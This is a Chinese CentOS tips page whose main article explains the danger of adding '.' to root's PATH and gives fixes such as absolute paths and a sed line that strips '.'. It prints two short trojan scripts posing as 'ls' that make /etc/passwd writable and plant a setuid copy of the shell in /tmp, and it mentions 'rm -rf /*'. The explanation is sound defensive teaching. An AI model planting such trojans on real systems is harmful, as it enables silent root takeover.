CentOS常用基础命令汇总
1.关机 (系统的关机、重启以及登出 ) 的命令 shutdown -h now 关闭系统(1) init 0 关闭系统(2) telinit 0 关闭系统(3) shutdown -h hours:minutes 按预定时间关闭系统 shutdown -c 取消按预定时间关闭系统 shutdown -r now 重启(1) reboot 重启(2) logout 注
更新日期:2021-09-30
来源:系统部落
.是代表当前目录。如果将这点写入root的环境变量,执行脚本时,你只需要打脚本的名字,系统就会在当前的目录下找该脚本并执行。
例如,一个U盘插入电脑,你打了一个文件名字,系统就会执行U盘中的该文件,如果有木马程序,也会被执行,比如脚本中有rm -rf /* 这样的命令,你的系统就会被删除。
设想一下,有一个人在一个他能写的目录下写了一个名为ls的可执行程序,程序会把/etc/shadow文件发送到某一邮箱,而root又恰巧在那个目录下,想ls下,结果是什么呢?
所以,很多安全要求高的Unix系统甚至要求用绝对路径调用命令
本文主要讲述“.”在LINUX的环境变量PATH中所带来的问题,及解决的几种方法。
正如很多人所知道的$PATH环境变量里存着一张目录列表,当用户要执行某一程序时,系统就会按照列表中的内容去查找该程序的位置。当程序名前不带点斜线 . / 时$PATH就会起作用。
对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这在本机进行脚本开发的程序员来说却不方便,想图省事的人就把点加到了搜索路径中,这就等于在你的系统埋下了险情。
例如:root为了方便使用在他的当前路径末尾加了个点"."(搜索目录为代表当前目录)
命令操作如下:
[root@rh root]# PATH=$PATH:.
[root@rh root]# echo $PATH
/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.
这下是方便了,直接输入脚本名就能执行。OK,正常情况下一点问题没有,也省去了输入./foo.sh的烦恼(foo.sh是我假设的脚本文件名)。有的root把PATH=$PATH:.这条命令加到了profile里,使所有用户到分享你给他们带来的"福音"。更有胜者root用户竟然PATH=.:$PATH(将":"加到路径前是另一种形式)。正常请况下一点问题没有,直到有一天,张三用户在他的主目录下放了名为lls的脚本,并对root说他的系统出问题了希望root能帮他解决。(其实是一个trap)。Root一上来就su 成管理员权限,紧更着列了一下目录。有可能管理员误敲成了lls,结果哈哈。。。。
以下是个简单的C shell 的例子
#!/bin/csh
If ( ! -o /bin/su )
goto finish
cp /bin/sh /tmp/.sh
chmod 7777 /tmp/.sh
finish :
exec /bin/ls $argv | grep -v ls
稍微变形就有个B shell的
#!/bin/sh
if chmod 666 /etc/passwd > /dev/null 2>&1 ;then
cp /bin/sh /tmp/.sh
chmod 4755 /tmp/.sh
fi
exec ls "$@"
如果root将其环境变量$PATH包含了"."并且其位置先与ls所在的系统目录,那么当用户在/tmp中执行ls时,执行的是上面给出的脚本,而不是实际的ls命令,因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本,就会将口令文件设置为可写,并将shell复制到/tmp保存为.sh,同时设置其setuserid位,所有这一切都非常安静地发生。
在以上这两个程序里,心怀不鬼的人能写入任何令root急的要跳楼的程序,部下陷阱等root来钻,也许root在不知不觉中施行了也根本不会察觉。 也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本,root可能一到他的机器前就输入了ps,此时系统会首先到当前目录下搜索,结果/sbin/ps却不被执行。类似这样的小花招还有很多。
管理员同志,不要太紧张,下面我说说解决办法。
首先,要养成输绝对路径的良好命令行输入习惯,这样就不会让"不法份子"乘虚而入了。比如,列目录最好用/bin/ls来列目录,不要图方便而冒然输入ls。
其次,根用户(root)不要把"."包括到搜索目录列表里,而普通用户如果个"."包括到搜索列表中的话别,则"."就应当放在搜索目录列表的最后位置上。这样一来普通用户不会受到前面所述的那种危害。
最后,可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行
[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `
这个简单的sed命令将删除路径里所有的"."包括其另一形式"::"
还可以由crontab调用定期执行
#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt
CentOS常用基础命令汇总
1.关机 (系统的关机、重启以及登出 ) 的命令 shutdown -h now 关闭系统(1) init 0 关闭系统(2) telinit 0 关闭系统(3) shutdown -h hours:minutes 按预定时间关闭系统 shutdown -c 取消按预定时间关闭系统 shutdown -r now 重启(1) reboot 重启(2) logout 注
Win7系统电脑安装CentOS系统后设置中文的方法
有Win7系统电脑用户在系统中安装了CentOS系统,但是全是英文,怎么改成中文呢?CentOS系统如何设置中文,请看下文具体操作。
虚拟机下CentOS的快照和克隆功能详解
对于初学者来说,最好在安装完系统之后,就做一次快照或者克隆! 一、快照的使用 1、打开快照管理器, 2、开始:拍摄快照, 3、快照拍摄完成。 4、快照的恢复:选择转到某个快照即可, 快照的功能使用很简单,适合初学者! 二、克隆的使用 1、克隆功能: 对于
CentOS下iptables封IP的命令讲解
查看当天登陆未成功的IP 一条命令把这些IP全部封掉: for i in `grep $(date +%b %d) /var/log/secure | grep Failed password | awk {print $(NF-3)} | sort | uniq -c | sort -nr| awk {print $2}` ;do iptables -A INPUT -s $i -j DROP; done 效果:
CentOS使用上一条命令的所有参数详解
减少键盘输入,可以大大提高程序员的工作效率,快捷键的使用就是一个很好的例子。程序员经常使用终端。那么在终端上有没有类似的快捷键可以提高我们的效率呢?程序员的工作往往是前后相关连的。所以,本文将演示如何使用上一条命令提高工作效率的。 1.使用上
centos中samba服务不能访问怎么办?
centos中samba 服务不能访问怎么办? 常见的情况如下: 这时我发现很多次出现这个问题,每次都要自己去百度,然后解决。 这次自己记录一下 [root@localhost ~]# service smb status smbd 已停 那么很明显是服务器那边停了服务 需要进行 [root@localhost ~]#
centos使用source命令提示notavalia identitier怎么办?
1、centos下配置jdk环境变量。切换至/etc下,使用命令:cd /etc 2、Xshell配合Xftp打开该目录: 3、查找到profile文件: 4、使用记事本开始,在末尾添加: export JAVA_HOME=/usr/local/java/jdk1.7.0_79 export JRE_HOME=/usr/local/java/jdk1.7.0_79/jre e
Centos中如何临时禁用用户?
linux中临时禁用用户 1.在/etc/passwd文件中找到禁用用户所在行,在该行首添加# /etc/passwd #coderbolg:x:500:500::/home/coderbolg:/bin/bash 2.在/etc/shadow 文件中找到禁用用户所在行,在第二个字段(密码加密字段)前添加!或者* /etc/shadow 一般该文为只
CentOS服务器如何添加永久静态路由?
一、Linux添加永久静态路由 方法一:修改 rc.local 配置文件 范围:测试 Ubuntu 14.04、centos 6.4、debian 8.1、redhat 6.4 系统可用 使用方法: 1.向 linux 系统的 /etc/rc.local文件中添加命令route add -net 192.168.2.0/24 gw 192.168.2.254(服务器的默
CentOS6.6设置grub密码的方法
CentOS6.6设置grub密码的方法 设置grub密码有三种方法: 一、设置明文密码 编辑grub配置文件#vi /etc/grub.conf 打开之后在hiddenmenu下一行输入 password=123456 保存退出,重启后进入启动页面按回车键进入系统启动菜单,按p输入123456密码才可以修改编辑内
Centos6.8如何进入救援模式
版本:Centos6.8 救援模式有什么作用? ◆可以更改root密码; ◆恢复硬盘、文件系统操作; ◆系统启动不来的时候,只能通过救援模式来启动; 救援模式启动的步骤如下: 1、首先开机进入BIOS设置(每台电脑进入bios的方法不同根据自己的电脑进入),BOOT启动顺序为
CentOS下如何查看一个文件的硬链接数?
方法如下: 用ls -l 可以看到有一个文档的硬链接数: [root@localhost tmp]# ls -li total 104 229415 drwxr-xr-x 2 root root 4096 Dec 11 21:15 etc 39757 -rw-r--r-- 2 root root 1602 Oct 30 14:56 hl_passwd 用一下语句可以查看一个文件有哪些硬链接 [r
Centos如何设置不同网段的互通?
Centos如何设置不同网段的互通? 环境如下: 一台 192.168.16.0网段的服务器 一台192.168.1.0网段的服务器 192.168.16.0网段和192.168.1.0网段的机器无法互通。 具体操作如下: 在192.168.16.177的机器上添加路由表 route add -net 192.168.1.0 gw 192.168.16
centos7没有ifconfig命令该怎么办?
方法如下: linux系统查看ip地址常用命令是【ifconfig】,CentOS 7.0最小安装是没有ifconfig命令怎么办?当然可用【ip addr】查看;还有一种方法就是安装ifconfig命令 1、输入【yum search ifconfig】命令,查看ifconfig所属命令包是net-tools.x86_64 2、【yum
CentOS6.3启动的相关知识详解
CentOS6.3启动的相关知识详解 CentOs 6.3启动之前按E键,再按E,进行入GNU GRUB页面. GNU GRUB 是一个多重操作系统启动管理器.GRUB是GRand Unified Bootloader的缩写。 root(hd0,0) root指定启动时的位置,hd0电脑的第一块硬盘,后面的数字代表分区的意思,即